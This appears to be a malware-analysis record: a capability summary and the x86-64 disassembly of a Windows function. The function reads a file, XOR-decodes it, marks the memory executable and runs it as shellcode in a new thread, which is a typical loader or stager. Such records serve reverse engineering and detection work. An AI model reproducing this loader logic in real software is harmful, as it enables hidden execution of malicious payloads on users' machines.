Function at 0x140003790
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xb0
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0xa8], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov r9d, 0x5c
mov eax, 0x4261e359
mul r8d
shr edx, 0xb
imul ecx, edx, 0x1eda
mov edx, 0x104
sub r8d, ecx
lea rcx, [0x140008830]
mov dword [rsp + 0x60], r8d
lea r8, str._c_c_c_c_c_c_c_c_cNIubi__d_VBSGX
mov dword [rsp + 0x58], 0x5c
mov dword [rsp + 0x50], 0x65
mov dword [rsp + 0x48], 0x70
mov dword [rsp + 0x40], 0x69
mov dword [rsp + 0x38], 0x70
mov dword [rsp + 0x30], 0x5c
mov dword [rsp + 0x28], 0x2e
mov dword [rsp + 0x20], 0x5c
call fcn.140003640
xor r14d, r14d
lea r8, [0x1400036a0]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x148
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
nop
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [0x140008830]
mov edx, 0x80000000
mov dword [rsp + 0x70], r14d
mov ebx, 0x148
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
mov rdi, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rax, r14
cmp rsi, 0xffffffffffffffff
je 0x140003908
nop dword [rax]
nop word [rax + rax]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r14
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400038fa
mov eax, dword [rsp + 0x70]
sub ebx, eax
add rdi, rax
test ebx, ebx
jg 0x1400038d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
test eax, eax
je 0x140003870
xor ecx, ecx
mov edx, 0x148
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, 2
lea rdi, [0x140008040]
mov r10, rbp
mov rbx, rax
sub r10, rax
lea r8, [rax + 1]
lea r11d, [r9 + 0x50]
nop word [rax + rax]
lea rcx, [r9 - 2]
and ecx, 5
lea r8, [r8 + 4]
movzx eax, byte [rcx + rdi]
xor al, byte [r10 + r8 - 5]
mov byte [r8 - 5], al
lea rax, [r9 - 1]
and eax, 5
movzx eax, byte [rax + rdi]
xor al, byte [r10 + r8 - 4]
mov byte [r8 - 4], al
mov rax, r9
and eax, 5
movzx eax, byte [rax + rdi]
xor al, byte [r10 + r8 - 3]
mov byte [r8 - 3], al
lea rax, [r9 + 1]
and eax, 5
add r9, 4
movzx eax, byte [rax + rdi]
xor al, byte [r10 + r8 - 2]
mov byte [r8 - 2], al
sub r11, 1
jne 0x140003950
lea r9, [rsp + 0x78]
mov edx, 0x148
lea r8d, [r11 + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbx
mov qword [rsp + 0x28], r14
lea r8, [0x140003780]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140003a30
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret